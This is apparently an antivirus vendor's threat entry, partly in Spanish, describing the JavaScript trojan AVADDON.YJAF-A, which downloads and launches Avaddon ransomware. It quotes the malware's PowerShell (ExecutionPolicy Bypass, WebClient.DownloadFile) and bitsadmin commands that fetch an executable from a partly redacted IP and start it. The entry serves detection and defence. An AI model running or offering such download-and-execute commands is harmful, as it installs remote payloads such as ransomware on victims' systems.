Trojan.JS.AVADDON.YJAF-A

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Después ejecuta los archivos descargados. Como resultado, en el sistema afectado se muestran las rutinas maliciosas de los archivos descargados.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

• %System%\cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}.{BLOCKED}.117.63/{jpr.exe or sava.exe}','%User Temp%\{random numbers}.exe');Start-Process '%User Temp%\{random numbers}.exe'
• %System%\cmd.exe /c bitsadmin /transfer getitman /download /priority high http:/{BLOCKED}.{BLOCKED}.117.63/{jpr.exe or sava.exe} %User Temp%\{random numbers}.exe&start %User Temp%\{random numbers}.exe

Rutina de descarga

Este malware descarga el archivo desde la siguiente URL y le cambia el nombre al almacenarlo en el sistema afectado:

• http://{BLOCKED}.{BLOCKED}.117.63/jpr.exe
• http://{BLOCKED}.{BLOCKED}.117.63/sava.exe

Guarda los archivos que descarga con los nombres siguientes:

• %User Temp%\{random numbers}.exe → Detected as Ransom.Win32.AVADDON.YJAF-A

Después ejecuta los archivos descargados. Como resultado, en el sistema afectado se muestran las rutinas maliciosas de los archivos descargados.